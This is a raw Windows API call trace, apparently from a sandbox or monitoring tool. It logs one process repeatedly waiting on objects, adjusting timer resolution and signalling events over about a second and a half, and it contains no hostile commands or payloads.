	[0100.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.082] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.085] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.087] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.088] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.091] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.092] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.097] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.099] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.104] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.115] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.125] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.145] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.161] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.171] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.304] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.314] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.324] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.356] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.366] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.386] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.396] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.409] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.453] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.463] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.474] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.487] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0100.487] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0100.489] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0100.489] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.517] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.518] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.527] SetEvent (hEvent=0x78) returned 1
	[0100.527] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.528] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.530] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.531] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.536] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.538] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.540] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.541] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.542] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.544] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.545] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.546] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.547] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.548] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.552] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.553] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.554] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.560] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.562] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.566] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.568] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.570] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.571] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.578] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.581] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.583] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.584] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.587] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.593] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.620] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.630] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.640] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.650] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.660] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.692] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.703] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.713] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.724] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.734] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.746] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.761] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.771] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.781] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.791] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.801] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.813] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.823] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.833] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.843] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.856] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.878] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.888] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.908] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.918] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.938] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.119] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0101.119] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0101.153] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0101.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.221] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0101.221] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0101.262] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0101.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.284] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0101.284] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0101.373] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0101.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.386] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.405] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.407] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.408] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.421] SetEvent (hEvent=0x78) returned 1
	[0101.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.424] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.431] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.433] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.436] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.438] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.440] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.441] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.453] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.461] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.462] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.464] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.466] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.468] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.470] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.493] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.500] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.501] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.502] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.505] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.508] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.517] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.519] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.520] SetEvent (hEvent=0x78) returned 1
	[0101.520] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.521] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0101.521] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0101.534] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0101.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.554] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.557] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.560] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.562] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.563] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.566] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.568] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.570] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.571] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.572] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.573] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.578] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.581] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.582] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.583] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.584] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.586] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.587] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.592] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.593] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.594] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.595] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.598] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.599] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.600] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.601] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.603] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.604] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.605] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.608] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.610] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.611] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.613] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.622] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
